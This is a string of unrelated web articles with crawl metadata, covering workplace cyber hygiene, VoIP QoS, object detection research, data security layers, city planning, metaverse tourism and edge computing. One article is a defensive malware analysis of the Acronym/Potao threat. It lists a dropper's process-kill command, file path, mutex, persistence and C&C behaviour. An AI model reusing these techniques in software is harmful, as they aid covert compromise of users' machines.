Human error is inevitable, and that is exactly what hackers count on. One slip-up can result in the loss of large amounts of data and cause a company to lose its credibility in the eyes of its customers. Overspending on high tech systems while neglecting employee training in cyber security is a poor strategy that will prove ineffective. It is also the main reason why human error is a leading cause of cyber attacks. Although it is not possible to completely eliminate human error, seeking ways to minimize it as much as possible will help reduce the occurrences of security breaches. In order to be able to do that, it is important to know the main sources of human error and how to avoid them.
Misuse of information access privileges
The inappropriate use of company information is a recurring issue in many organizations. Employees who are blindly entrusted with trade secrets or access to sensitive information often take advantage of the freedom they enjoy and end up losing their jobs and the trust of their company in the process. In many cases, executive authorities who hold senior positions within an organization have put their companies at risk in the aim of achieving a hidden personal agenda.
Such issues can be avoided by creating records of employees with access to sensitive information and reducing their number where possible. A company can also observe and track the usage of privileged access by creating increasingly narrow verification and access points, including limitations of ongoing privileged access, and segregated access so each person only has access to his/her area of expertise and responsibility. By recording, tracking and auditing all actions taken by privileged users, this will bring attention to any anomalies and deviations from normal employee habits which will assist in monitoring the possible existence of any internal threats in an organization.
Use of unauthorized software or hardware
Companies try to protect sensitive data by enforcing a policy which prevents employees from using unsecured software and hardware. However, often times employees make the bad decision of deviating from company protocol through the use of unapproved tools and programs because they are faster or easier to use. This could include the use of unsecured wireless access points, servers or portable storage devices. Going against company protocol could introduce malicious software into its system and can leave it open and vulnerable to attacks. Hackers can then steal or take control of sensitive data or company computers and hold them hostage in ransomware attacks.
It is important that employees adhere to their organization's policies to avoid the risk of exposing valuable information to cyber criminals. Organizations should also keep updated records of the licensed software that is used on their computers, as well as patch tools and asset managers to monitor the use of unsupported software. Additionally, it is important to keep track of approved hardware on the premises. Although it is considerably harder to monitor hardware, doing so will make it difficult for employees to break the rules.
Improper disposal of information
A prevailing misconception in many companies is that after the disposal of information, the organization is immediately absolved of the responsibility for that data. This, of course, is not the case. Organizations that have access to their clients' personal information will always be under the obligation of protecting it from invasion of privacy, identity theft, financial fraud and any other form of attack. So much so that organizations can be held accountable if a client's information is stolen as a result of improper disposal.
Companies can ensure that their employees dispose of information correctly by monitoring this process closely and assigning a supervisor tasked with the job of ensuring that no mistakes are made. Enforcing a clear set of guidelines that instruct staff on how to properly dispose of information removes the decision making process from the employee's hands. This is an effective strategy that will help minimize errors in that aspect of the organization.
Accidents resulting from negligence, inexperience or any other reason are in abundance. They include opening phishing emails, losing hardware containing company secrets, theft etc. Organizations must instruct staff on how to detect phishing emails and malicious websites, protect their login credentials and adhere to the company's threat mitigation policies. They should also train employees in the organization's incident response plans so that they are well rehearsed on what to do in case of a cyber attack. This minimizes the possibilities of security breaches and helps to create an organized response to threats. | <urn:uuid:b2060399-9618-4fe9-bc4d-1c0a8e93062a> | CC-MAIN-2022-40 | https://www.givainc.com/blog/index.cfm/2018/6/8/4-human-errors-in-cyber-security | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334992.20/warc/CC-MAIN-20220927064738-20220927094738-00337.warc.gz | en | 0.954926 | 861 | 2.765625 | 3 |
Unlike conventional circuit-switched telephone networks, IP networks are packet-oriented. In order to use these networks to transmit time-sensitive services, there are special requirements with respect to Quality of Service. The key parameters describing the service quality of an IP network are latency, jitter and the packet loss rate. Latency refers to the a packet’s delay which occurs end-to-end during transmission. Jitter measures how much latency deviates from a mean. Lastly, the packet loss rate specifies the percentage of IP packets lost during transmission.
Voice-over-IP telephony (VoIP telephony) is a time-sensitive service with specific QoS requirements for the transmitting network. Voice can only be transmitted in a high quality if these requirements are met. To operate telephone systems via IP network or use the services of a cloud telephone system, it is necessary to first verify whether the network is able to provide the required quality of service. Transmission delay and the packet loss rate are particularly key in assessing voice quality. Whilst the loss of individual packets or delays under 100 milliseconds are hardly noticeable by the human ear, high loss rates or delays can result in high communication interference. To ensure the networks are able to meet the QoS requirements, they feature mechanisms to give priority to certain IP packets (voice packets) and delay others. | <urn:uuid:acbebae8-7e16-439e-8972-d4f54012a44c> | CC-MAIN-2022-40 | https://www.nfon.com/en/get-started/cloud-telephony/lexicon/knowledge-base-detail/qos | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335396.92/warc/CC-MAIN-20220929225326-20220930015326-00337.warc.gz | en | 0.924196 | 269 | 3.21875 | 3 |
Researchers at Microsoft Research Asia have discovered a solution to the excruciatingly slow object detection that is characteristic to existing “deep convolutional neural networks” (CNNs) which has been published in Spatial Pyramid Pooling in Deep Convolutional Networks for Visual Recognition, a research paper written by Kaiming He and Jian Sun, along with a couple of academics serving internships at the Asia lab: Xiangyu Zhang of Xi’an Jiaotong University and Shaoqing Ren of the University of Science and Technology of China.
“Image recognition involves two core tasks: image classification and object detection,” Mr. He explains. “In image classification, the computer is taught to recognize object categories, such as “person,” “cat,” “dog,” or “bike,” while in object detection, the computer needs to provide the precise positions of the objects in the image.” The second task, Sun adds, is the more difficult of the two. “We need,” he says, “to answer ‘what and where’ for one or more objects in an image.”
Image recognition has gained rapidly from the use of deep neural networks and deep learning, along with the availability of prodigious data sets. Here, particularly, such networks are called CNNs, inspired by biological processes of the human brain, explains Microsoft Research.
However the algorithms are too slow for object detection in practice having to be applied thousands of times on a single image, for detecting a few objects. The new solution speeds up the process by almost 100 times, with impeccable accuracy.
They outline a new network structure that uses “spatial pyramid pooling” (SPP) technique to generate a descriptor from a region of any size.
The researchers, although quite proud of their breakthrough, believe that the field needs further exploration. “One of the important next steps,” Mr. Sun notes, “is to obtain much larger and richer training data. That will significantly impact the research in this direction.”
“Our work is the fastest deep-learning system for accurate object detection,” Mr. He said. “The speed is getting very close to the requirement for consumer usage.”
Read more here.
(Image source: Microsoft) | <urn:uuid:0a2ef166-1cad-4b0f-8e46-6c5a87600ad6> | CC-MAIN-2022-40 | https://dataconomy.com/2014/10/researchers-at-microsoft-come-up-with-solution-to-the-vexing-computer-vision-issue-of-object-detection/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337338.11/warc/CC-MAIN-20221002150039-20221002180039-00337.warc.gz | en | 0.94475 | 490 | 3.078125 | 3 |
August 8, 2018 by Siobhan Climer
“Ogres are like onions,” Shrek proclaims in the 2001 computer-animated children’s comedy film of the same name.
How so, you might ask?
“Layers! Onions have layers. Ogres have layers. Onions have layers. You get it? We both have layers”.
But bad-tempered ogres aren’t the only ones that have a lot in common with onions. Parfait, 7-layer dip, and data security all share an affinity for layers.
Today, instead of onions or ogres, we’re peeling back data security layers to better understand how to create, maintain, monitor, and expand a strategic data security strategy.
The Three Main Data Security Layers
The onion metaphor is not new. Most cybersecurity courses teach a layered security model. This strategy of examining data security layers and defense is sometimes called defense-in-depth. The three main control areas are: physical, technical, and administrative.
Often a second thought, these are the defense mechanisms used to provide physical protection. Fences, guards, CCTV systems, and door locks. Physical security has become more challenging; the rise of BYOD (bring-your-own-device) policies and remote work offer an increase in the number of devices that store critical data, and where those devices go. Given the rise of the digital transformation, many organizations focus on technological countermeasures; unfortunately, physical security is often disregarded, despite its importance.
Sometimes referred to as TechSec, technical security controls are the tools and techniques used to secure data through authentications. Of the three main data security layers, it is this one that provides security to the contents of a system. So, if someone steals an employee laptop, these are the controls you have in place so that the thief does not gain access to your entire system. Encryption, access controls, regular patching, biometric scanners, and Windows Active Directory are examples of technical controls.
In every field there are best practices, and administrative controls implement these best practices in the form of policies or protocols that typically work to protect against the most severe threat: human error. Most data security breaches are the result of people, due to either intentional maliciousness or just plain ignorance. Hiring practices, risk management assessments, data handling procedures, and the security requirements are examples of administrative controls.
Is a biometric eye scanner at a door entrance a physical or technical control? If you are required to wear an ID on your lanyard, and that card is stolen and used to access the network, is that a failure of administrative or physical controls? As you can see, it isn’t always simple to break down security into layers.
That is why some researchers peel the layers a little differently. Instead at looking at control elements, let’s take a moment to examine threat elements. This looks at data security layers in the view of threats. There are six:
As you can see, many of these fall under the components of control layers; however, by looking at security in this manner, you can begin to focus in on particular threats that may affect your business more than others. This is especially beneficial to chief information officers (CIOs), who are charged with managing the technology strategy within the business.
Everybody Likes Parfait
And there are still other methods. Instead of threats or control areas, some security experts focus on the critical information to be protected and build a strategy from there. This way of examining data security layers is slightly different because it not only breaks up security strategy development into three main categories (objective(s), layers, and strategies), but it then breaks down the layer element into different TechSec control areas. This hybrid layered security model is effective for those tasked with strategic operational development.
Layer 1: Data Security
Layer 2: Application Security
Layer 3: Endpoint Security
Layer 4: Network Security
Layer 5: Perimeter Security
Strategy 1: Proactive Policy Management
Strategy 2: Reactive Monitoring and Response
The Ogre Problem: A Missing Piece
There’s more than one way to dice an onion. Data security layers are important to understand, but they do not capture the whole picture. Part of creating a secure system is developing a data security strategy. Breaking your security infrastructure into manageable pieces is just the first step in identifying what needs to be protected. Then, you need to determine the tools you will use to protect those data security layers, whether it’s a firewall, fingerprint scanners, or a locked door. Finally, you need to develop a strategy that denotes responsibility. Performing an infrastructure optimization roadmap is one way to strategically complete this task.
We started out by stating we wanted to better understand how to create, maintain, monitor, and expand a strategic data security strategy. Data security layers are the foundation on which one performs these tasks. Knowing the layers alone isn’t enough. As you can see, the number and definition of each layer varies from model to model.
Download our free eBook to learn more about how to create a technology roadmap.
Backups, Disaster Recovery, And Data Security Plans
Start with a data security policy that comprehensively ensures each of the layers of your security network are secure. Then, create a data backup policy and disaster recovery strategy so that if the worst happens, you are prepared. 60% of businesses without a disaster recovery plan go bankrupt within 6 months of a disaster event. Don’t be one of them.
You have data you need to protect. There are lots of ways for data to get out, and there are lots of ways for threats to get in. You are responsible for finding the right expertise to protect each of those components. For many businesses, an expert partner that can both create, implement, and maintain a data security strategic policy is the next step. It’s important to find the right tools – and sometimes those tools are people or experts – to support the operational security of your business.
The missing piece could easily be a managed service provider, like Mindsight. We’re not ogres, just smart people with an honest desire to help you develop a comprehensive IT strategy that protects your business and the data that keeps it running.
Contact us today to create a comprehensive data security policy for your business.
Like what you read?
Mindsight, a Chicago IT services provider, is an extension of your team. Our culture is built on transparency and trust, and our team is made up of extraordinary people – the kinds of people you would hire. We have one of the largest expert-level engineering teams delivering the full spectrum of IT services and solutions, from cloud to infrastructure, collaboration to contact center. Our highly-certified engineers and process-oriented excellence have certainly been key to our success. But what really sets us apart is our straightforward and honest approach to every conversation, whether it is for an emerging business or global enterprise. Our customers rely on our thought leadership, responsiveness, and dedication to solving their toughest technology challenges.
About The Author
Siobhan Climer, Science and Technology Writer for Mindsight, writes about technology trends in education, healthcare, and business. She previously taught STEM programs in elementary classrooms and museums, and writes extensively about cybersecurity, disaster recovery, cloud services, backups, data storage, network infrastructure, and the contact center. When she’s not writing tech, she’s writing fantasy, gardening, and exploring the world with her twin two-year old daughters. Find her on twitter @techtalksio. | <urn:uuid:231f83bb-d8dc-4cc9-af80-5491edcd037f> | CC-MAIN-2022-40 | https://gomindsight.com/insights/blog/data-security-layers-onions-ogres-parfait/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337446.8/warc/CC-MAIN-20221003231906-20221004021906-00337.warc.gz | en | 0.925937 | 1,589 | 2.96875 | 3 |
Security researchers uncovered a new virus threat known as the Acronym malware which can be linked to the Potao malware identified back in 2011.
Acronym Malware Linked To The Old Potao Threat
Computer security researchers discovered a new virus which appears to be linked to an old Trojan known as Potao. The new threat is known as the Acronym malware and it has been linked to an old campaign dubbed Operation Potao Express. The old campaign was known as a “universal cyber espionage toolkit” and has been a part of the hackers arsenal since its inception in 2011.
The Old Potao Express: The Legacy Behind Acronym Malware
This is an old family of viruses which was first discovered back in 2011. One of the reasons why detailed research was done a few years later was because of the relatively low number of detected infections. Most of the attacks were made in 2015 and targeted mainly Ukraine, as well as Russia, Georgia and Belarus. The first instance was done using a mass-spreading campaign that contained the encrypted string GlobalPotao which gave the name of the malware family. The victims got infected via infected binary files that posed as Microsoft Word documents. Emails, download sites and P2P networks were one of the primary sources of the binaries. Other malware strategies include decoy documents, counterfeit invitations and web scripts.
One of the most famous characteristics of the Potao malware is the fact that it used to target Ukrainian government and military institutions and facilities. Its interesting to note that the virus engine can propagate across the internal network with a worm-like functionality, as well as via USB removable devices. The architecture of the virus is crafted around a main module which spies on the targets via the use of downloadable modules. The relevant modules are downloaded to the infected system when in the first stages of infection. Potao supports two types of plugins:
Full Plugin – They run continuously until the infected system is restarted.
Light Plugin – They terminate after their processes are complete.
The malware initiates a complex encrypted C&C communication after which the infection proceeds. Some of Potao’s capabilities include the following:
Sleep – Sleeps the virus infection for a set period.
System Information Harvesting – The virus engine collects system information and variables such as the computer name, logged user and the Windows version.
Enumerate – Enumerates all files on the locally mounted partitions (except the Windows folder and all EXE and DLL files).
Information Harvesting – The virus is able to extract stored accounts and steal files and folders.
Additional Payload Introduction – The virus is able to download malicious files from remote hosts. This can include executable files what can be executed, as well as DLL files that can be loaded to running processes.
Acronym Malware May Be Based on Potao
The discovered virus samples were discovered recently and once compiled they allowed the researchers to take a closer look into the virus’s capabilities and infection sources. First of all it appears that they have been distributed since February 2017, based on the compilation date for both the dropper and the main executable. The following behavior has been identified with these infections:
The Acronym malware like its predecessors consists of a payload dropper (trigger) and a main executable file. Once the dropper has been deployed to the target system in kills any processes named “wmpnetwk.exe”” using the following command:
taskkill /f /im wmpnetwk.exe
A temporary file is created which starts with the “HH” string and uses the TMP file extension. This step downloads the malicious executable to the following location:
C:\Documents and Settings\Admin\Application Data\Windows Media Player\wmpnetwk.exe
The Acronym malware creates a persistent environment for itself. Depending on the Windows version this is done either by crafting Registry Run commands or adding a new entry into the Task Scheduler.
To prevent multiple copies of itself from running, the virus engine creates and monitors a predefined mutex – sjd8anSice8h_sdnm9232.
The next step involves network communication with the remote C&C servers. The engine iterates through several (six in the latest samples) possible IP address and port pairs.
Based on the response of the servers there are several built-in commands that appear to correlate with those of Potao:
Download and Execution Of A Remote Payload.
This plugin architecture is very similar to the one used by Potao. It loads a DLL received from the C&C servers and looks for code located in the “Scan” or “Plug” export function. If any code is found within “Scan” it is executed and the all results are sent to the C&C servers in a report. The “Plug” export creates a new process thread and executes the passed function using the following string as an argument:
The relevant variables are filled with the information harvested from the machines.
There is distinct code overlap with the older threat as well as similarities in the used ports for network communication (over 8080. 443 and 80), shared C&C network and the fact that the temporary files start with the “HH” string. There are also a lot of features missing from Acronym that are present in Potao. The list includes:
The dropper module does not use decoy documents as infection sources.
The dropper module does not store the compressed executable.
The virus engine cannot inject code into running processes.
Acronym drops only EXE files.
The virus engine does not feature string and AES encryption.
No RSA keys or XML exchange is performed.
No Windows API hashing function.
Different system information query string use.
According to the security researchers at least three major components appear to be copied from example code found on the Internet:
HTTP Communications Module
DES Encryption and Key Module.
Screenshot Capture Capability.
SpyHunter anti-malware tool will diagnose all current threats on the computer. By purchasing the full version, you will be able to remove all malware threats instantly. Additional information about SpyHunter / Help to uninstall SpyHunter | <urn:uuid:8fa769e5-9e82-4afc-a4d3-fcb627580676> | CC-MAIN-2022-40 | https://bestsecuritysearch.com/experts-discovered-acronym-malware-descendant-potao/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030333455.97/warc/CC-MAIN-20220924182740-20220924212740-00537.warc.gz | en | 0.935731 | 1,321 | 2.59375 | 3 |
Today, smart cities are possible because of the powerful technologies that help them understand their customers. As a result, they can respond to their customers’ needs faster and more effectively. The importance of technology in city planning is an integral part of urban planning.
Get a Pulse of Your City
The first step to any plan is feedback. To get a better pulse of your city, it’s essential to build a voice of the customer. You can capture relevant data from a variety of sources. These sources include:
- Customer surveys
- Social media data
- Call center notes
Once you’ve collected enough data, you can move on to the next step and create a customer persona for each type of citizen in your city. A customer persona accurately represents your ideal customers based on actual data about their demographics and behavior. The goal is to understand what they need at every point in their journey as they visit different areas within your city.
Collect insight into how citizens use different parts of your city and what areas might need improvement based on citizens’ feedback. Once you have personas mapped out for both citizens and visitors in your city and exactly how they would use different parts of it, you’re ready to start improving!
Urban planning and city design are more complicated than most people think. Urban planning affects the lives of everyone within the city. City plans are updated using information taken from past experiences with similar cities and other regions in their country. These models show what roads to build next, where new buildings should go, how many apartments or hotels should be built there, etc.
The only problem is that sometimes these plans don’t work out right away because all buildings aren’t created equal. Sometimes these buildings don’t always fit precisely where they were intended to go, leading to traffic problems, congestion, higher crime rates, and dire living conditions for many people. So, the best thing would be for planners to use technology so that better results could come about more quickly.
Items such as parking sensors aren’t usually considered when discussing technology, however the parking company can use a sensor to determine whether a vehicle is parked in a specific location or not. These technologies help alleviate traffic and make parking more efficient overall.
Automated parking systems can increase revenue for the city. It also allows cities to collect data on parking usage to plan accordingly for parking spots as necessary.
Innovation Is Key
Planning for contingencies is another way technology can help urban planners rethink their strategies. It’s impossible to predict every possible turn of events. In order to prepare for unpredictable situations such as natural disasters or crises, cities need methods that will allow them both flexibility and innovation when unexpected changes happen. With the help of technology, you can develop a plan for them anyway! These insights are the first step in a data-driven cycle that helps planners make decisions for their cities. With today’s technology, it’s possible to obtain and analyze this data in real-time and turn it into new features much more quickly than traditional planning methods. | <urn:uuid:17f94153-9468-400b-88b7-e714943d1b69> | CC-MAIN-2022-40 | https://coruzant.com/tech/the-importance-of-technology-in-city-planning/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334644.42/warc/CC-MAIN-20220926020051-20220926050051-00537.warc.gz | en | 0.952475 | 636 | 2.890625 | 3 |
Although tourism in the metaverse will not be able to replace outdoor experiences, it can be used to promote sites that are not easily accessible or are ignored by tourists, who can discover them virtually.
The metaverse can be defined as a set of virtual shared spaces that are indexed in the real world and accessible via 3D interaction. It is a term that has been rapidly gaining ground in the media landscape ever since Facebook founder Mark Zuckerberg announced the creation of the Meta Group.
While some people remain cautious or resistant to the idea, others see this technological evolution as an opportunity to develop new offers. Given tourism is a sector that moves forward largely in line with information and communication technologies, it is entirely relevant to look at how it could integrate this virtual universe.
So how could the metaverse take over tourism, a practice that requires physical travel?
Can tourism and technology work together?
There is a clear correlation between the development of tourism and that of technology. Indeed, from the computerized booking centres of the 1970s to the domestication of the Internet in the late 1990s, technology has always been used in tourism to develop new practices. The metaverse is part of this evolution of the Internet, which deploys increasingly immersive technologies to offer phygital experiences – i.e., that blur boundaries between the real and the virtual.
Whether it be for museums, national parks or heritage sites, the health crisis has also enabled many organizations to increase and sustain their use of technological tools to offer virtual reality tours. The Fly Over Zone application, as well as offering an exploration of World Heritage cultural sites, shows users what damaged sites would have looked like in their original state. Web giant Amazon launched “Amazon Explore”, allowing people to “travel the world, virtually”. This venture is an interactive live-streaming service, which they say allows you to discover new places from your computer. Although this service is still in its infancy, with a beta version it is likely that these virtual tours will progress to offer even more immersive formats.
When it comes to tourism, Asia is a forerunner, with proposals such as the Seoul Metaverse project, which aims to become the first major city in the world to enter the metaverse, with a tourist route reproducing the city’s main sites. But it is in France that we find one of the most successful projects with MoyaLand, a virtual tourism realm including a tourist office, museums, an airport and a historical center where inhabitants and tourists can move around virtually via their avatars.
Other tourism stakeholders could follow suit, with 25% of people forecast to spend at least one hour a day in the metaverse by 2026, according to the American company Gartner. So how will people experience tourism in this virtual environment?
Using the metaverse to inspire travel
There are two main trends defining the tourism experience: the first is related to the process, with a transformation of the world into knowledge, the second is about the moment, with a focus on hedonism and feelings of success. While by definition, tourism requires physical travel, there is a contradiction in the tourism experiences offered by the metaverse. The metaverse cannot replace physical travel, but can create the desire to travel.
In the immersive reality of the metaverse, technological devices feed the user with sensations such as sight, hearing, touch and even smell. Besides acquisition costs, the use of these new devices calls into question the perception of the senses connecting humans to their environment.
The metaverse results from the interaction between a device, a user putting themselves in the shoes of a tourist, and other spectators. Although the experience is virtual, the senses are indeed put to work by stimulating certain situations that are desired but not accessible at the time. Through immersion, the virtual reality headset or haptic sensors allow us to experience things that were previously intangible and to reconnect with the senses. Through an avatar, the metaverse user can embody a tourist by creating a virtual tour route, interacting with other avatars and consequently imagining how they feel, stimulating what Giacomo Rizzolatti calls mirror neurons.
Societal and environmental constraints
Whether imitated, reproduced or simulated, travel and holidays are touristic practices that provide a break from everyday life. They’re also an opportunity for some to see their loved ones or to engage in activities that are difficult to do in everyday life. Observing animals in a safari, discovering archaeological sites or practicing a foreign language are activities that produce unique, essential bodily and spiritual sensations different from those produced virtually by metaverse devices.
Moreover, the metaverse, which is in itself a technological development of the Internet, is not yet complete. It requires financial investment and the construction of a regulatory framework to control user behavior. For when Mark Zuckerberg expresses his desire to create a virtual and alternative world in which users can also travel, we must not lose sight of the fact that users’ data will be put to use. And while some people see the metaverse as a solution to avoid flying and move toward sustainable tourism, the digital pollution it will create could well work against this ‘virtuous’ form of tourism.
Although tourism in the metaverse will not be able to replace outdoor experiences, some tourism professionals could use it to promote sites that are not easily accessible or are ignored by tourists, who can discover them virtually. | <urn:uuid:c166406b-ee2b-44f7-b29e-55d3196010e9> | CC-MAIN-2022-40 | https://gcn.com/emerging-tech/2022/08/tourism-and-metaverse-towards-widespread-use-virtual-travel/376011/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334644.42/warc/CC-MAIN-20220926020051-20220926050051-00537.warc.gz | en | 0.944909 | 1,096 | 3.203125 | 3 |
Have you ever wondered how the Internet works? How can you connect to an endless amount of websites around the world from countries using different languages? How quickly your computer can access data from servers thousands of miles away? It all begins with the Domain Name System or DNS. This system first emerged in the early 1980s, and the world was able to connect almost instantaneously.
Computers communicate with each other using IP addresses. When you type www.colocationamerica.com, your computer is looking up a specific IP address. In this case, it would be 184.108.40.206. Imagine needing to remember every single IP address for every site you want to visit—that would be near impossible. This is where the Domain Name System comes in. This system acts as a translator helping your computer find its way to the site you wish to visit. The DNS also keeps a record of all domain names and associated IP addresses.
When you call someone on your cell phone, you probably don’t call using his or her exact telephone number anymore. Instead, you open up your contact list and select a person from there. DNS does the same thing when you load a website. The website’s name is the speed dial, and the IP address could be compared to their actual phone number.
For your computer to find and access a specific site, it will need to go through multiple steps in the Domain Name System. We will break down the steps in the DNS process, as well as the different servers your request goes through for you to pull up the website you are looking for.
Step 1: The entire process begins when you enter a specific address on your browser.
Step 2: The first place your computer looks is your local DNS cache. This stores all of the information your computer has recently retrieved. This is why certain websites that you frequently visit load much faster than others. It is because your computer remembers these specific sites. If your local DNS and computer don’t know the answer, it will implement a DNS query to find out.
Step 3: If this information isn’t stored on your computer, it will then contact the DNS recursor or resolver. The recursor can be thought of like a librarian. When you go into a library and can’t find a particular book, you ask the librarian to help you find that specific book. If the librarian doesn’t know exactly where that book is, they will do more searches for you to find it. In the same vein, the recursor is responsible for making additional requests for you to find your specific request.
These computers do much work for you. They have a cache system, and because many ISP customers use the same resolvers, there is a good chance that many popular domains (which you are looking for) have already been cached. If this happens to be the case, the information will be sent back to you, and the process ends here.
Step 4: If the recursor hasn’t already cached it, the query will then ask servers outside the DNS server system.
The first in the process will be the Root server. The root name server is a computer that answers questions about domain names, including IP addresses. There are 13 root name servers in the world, which are operated by 12 independent organizations.
The reason there are precisely 13 servers was chosen as a compromise between network reliability and performance. This was based on the constraint of Internet Protocol version 4 or IPv4. Although there are only 13 designated DNS root server names for IPv4, each of these does not refer to a single computer, but instead a cluster of servers with many computers. The IPv6 does not have the same low limits on the size of individual datagrams, which means there may be more root servers added in the future.
Click here to read more on IP addresses and how they are regulated.
Acting like a telephone switchboard for the DNS, if they do not know the answer (like the recursor server), they will forward you to someone who knows.
The next in this line of succession is the Top Level Domain server. The TLD nameservers contain the data for the second-level domain. This can be thought of as a specific stack of books (or websites). Narrowing it down again to find the exact text you are looking for.
The last step in this process is the authoritative nameservers. These servers can be regarded as a dictionary, which will lead to the precise book (website) you are looking for. This is the final step in this process. It will have your requested information, and the IP address for the requested hostname will be sent back to the recursive name server and back to your computer.
Although this seems like an endless amount of steps to pull up a single website or send a single email, all of this happens within less than a second.
Once your computer goes through this process, both the recursive name server and your computer will cache this DNS entry for the next time you visit the site. DNS caching is crucial because it will improve the performance and reliability of your data requests in the future. It will be stored closer to your local computer, so it doesn’t have to go through the same steps. This allows your computer to pull up the webpage faster without going through the additional queries on the DNS chain. This will not only improve your load time, but it can also reduce bandwidth and CPU power.
The DNS cache helps you find websites faster and more efficient by storing these queries. Although this can improve your load times, reduce bandwidth and CPU power; it can also be problematic if you don’t flush out the cache once in a while. There are some clear benefits of clearing out your local cache.
When you visit a website for the first time, it will store the information as stated above. However, if a website receives an update, you could be visiting an older version of that site. Sometimes it may even result in a 404 error. If you are receiving these errors, clearing the cache can ensure you are pulling up the most recent versions of the sites you visit.
Spending a reasonable amount of time on the Internet can lead to a build-up of a sizeable cache on your computer. Although the cache can help pull up specific sites you frequent, it can also lead to slowing down the speed and performance of your computer. This is especially true if you are low on hard drive capacity. Clearing the cache on your system can increase the speed of your computer.
If you are using a shared public computer, clearing the cache after you use it can keep your information secure. Clearing out the cache on the computer can stop anyone who uses the computer after you from accessing private data that are sometimes stored on certain websites. You could potentially without knowledge, be sharing sensitive and personal information with anyone using the computer after you.
The DNS is vital in IP networking simply because your computer will not be able to load any webpages or send any emails without it. It is the database for all website domains and IP addresses. The Internet relies on specific computer codes and languages to find and share data. The Domain Name System is the most fundamental aspect of how information is shared. Even if the Internet was able to work without DNS, it simplifies the user experience by allowing users to type in a domain name like “colocationamerica.com,” instead of 220.127.116.11. The DNS makes everyone’s life easier by simplifying these things. It is a crucial part of connecting people. | <urn:uuid:ba5318a6-192d-424d-a183-face7c7a6c42> | CC-MAIN-2022-40 | https://www.colocationamerica.com/blog/what-is-domain-name-system | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334644.42/warc/CC-MAIN-20220926020051-20220926050051-00537.warc.gz | en | 0.939794 | 1,556 | 3.90625 | 4 |
Much of the excitement about multi-access edge computing (MEC) centers around its potential use cases and how it might be combined with other emerging technologies such as 5G and artificial intelligence (AI).
However, there are MEC use cases that are being implemented by businesses and organizations right now that can showcase the power of multi-access edge computing for a wide variety of different industries and applications.
From customer services and commercial operations to critical infrastructure and the industrial Internet of Things (IoT), multi-access edge computing is allowing network operators to open up their own networks to a completely new IT environment.
As we continue to rely on increasingly connected and intelligent systems to help run our day to day business and personal lives, the Internet of Things and MEC technologies could provide the high-bandwidth, low-latency, and real-time access needed by modern systems.
In this article, we’ll being taking a look at five multi-access edge computing use cases and the benefits they bring to their particular applications. Before we do that, however, let’s first briefly remind ourselves about what multi-access edge computing is.
What is Multi-Access Edge Computing?
Multi-access edge computing is the next progression in moving computing and data processing to the network edge and much closer to the customer, having been renamed in 2016 from mobile edge computing by The European Telecommunications Standards Institute (ETSI) due to their foreseeing the applicability of this technology beyond its roots in mobile telecommunications.
Essentially, multi-access edge computing is a network architecture that allows for a cloud-based IT service environment at the edge of a network. This enables real-time, high-bandwidth, low-latency access to radio network information by analysing, processing and storing data at the network edge.
MEC is attractive because it could allow network operators to support new services and tap into new sources of revenue, reduce network congestion and preserve bandwidth as well as reduce the cost of cloud storage and transportation and provide analytics in real-time with lower latency.
There are various applications in which multi-access edge computing is being experimented with and it is hoped that soon we will begin to see the widespread adoption, and therefore the benefit, of computing at the network’s edge alongside, and possibly even enabling, other cutting-edge technologies such as 5G and AI systems.
5 MEC Use Cases
Using multi-access edge computing, many businesses and organisations operating in a variety of different commercial and industrial sectors are looking to both enhance their existing operations and tap into new ways in which they can improve and enhance their customer engagement and network environment. The following is our list of five multi-access edge computing use cases and their benefits.
1- Customer Services
With MEC enabling a wider range of customer services than ever before, businesses and enterprises in commercial sectors are beginning to utilise multi-access edge computing in order to both expand and improve their basic services as well as create the opportunity to bring in more revenue with newer services.
MEC can also provide these same businesses with enhanced situational awareness and the ability to access data and statistical analytics as well as report incidents and send out alarms and notification as and when the situation deems necessary. This, alongside the potential for unified communications among employees makes MEC an extremely attractive solution.
2- Augmented & Virtual Reality
Two of the hottest trends currently taking entertainment by storm are augmented reality (AR) and virtual reality (VR). The success of apps like Pokémon Go and the addition of virtual reality headsets to the vast majority of mainstream games consoles has seen the popularity of both AR and VR skyrocket and MEC technologies are being looked to in order to take AR and VR to the next level.
In order to function properly, both augmented and virtual reality require the fastest possible response times and low latency communications, making multi-access edge computing and ideal partner. This, alongside further development in the applications of AR and VR technologies, could bring about the next generation of gaming and entertainment systems.
3- Commercial Operations
Alongside the customer services side of things, multi-access edge computing is also currently being utilised for a wealth of commercial operations and as a way of enhancing and improving the everyday running of businesses and enterprises around the world.
From security and distribution to asset management and data routing, MEC has a role to play in all of them.
Using multi-access edge computing architectures provides network operators with advanced surveillance and video analytics that gather and collect data from much closer to the source, where it is processed, analysed, and then stored.
By processing this data locally, multi-access edge computing can also reduce the costs associated with data transportation and transfers.
4- Industrial IoT
One of the biggest transformations brought about by the expansion of the Internet of Things has occurred in the industrial sectors, in fact, IoT devices and operations that fall within this category are often referred to as the Industrial Internet of Things (IIoT).
As you would expect with industrial operations, safety has been one of the biggest areas of development for many IIoT devices.
Using multi-access edge computing technologies and the devices they enable can help to improve safety levels in industrial environments and provide analysts with real-time information regarding tools, equipment, machinery, vehicles and environmental factors in order to keep industrial workers safe.
As with the industrial Internet of Things, when it comes to emergency services, access to real-time data and information as well as a reliable means of communication can be the difference between safely responding to a situation and the unfolding of a disastrous situation.
Emergency responders and search and rescue teams need to be able to reliably and coherently communicate across networks that could potentially be flooded with other users trying to communicate with each other in the aftermath of a disaster or incident.
Multi-access edge computing technologies are now being used to ensure that this is the case and that the people willing to put their lives on the line to protect others are not doing so under-equipped to deal with the situations they are asked to attend. | <urn:uuid:83203c35-4571-48c0-9aff-8a25e6cb8e44> | CC-MAIN-2022-40 | https://www.lanner-america.com/blog/5-multi-access-edge-computing-use-cases/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335004.95/warc/CC-MAIN-20220927100008-20220927130008-00537.warc.gz | en | 0.946796 | 1,239 | 2.5625 | 3 |
Updated: Oct 22, 2021
What is a false positive alert?
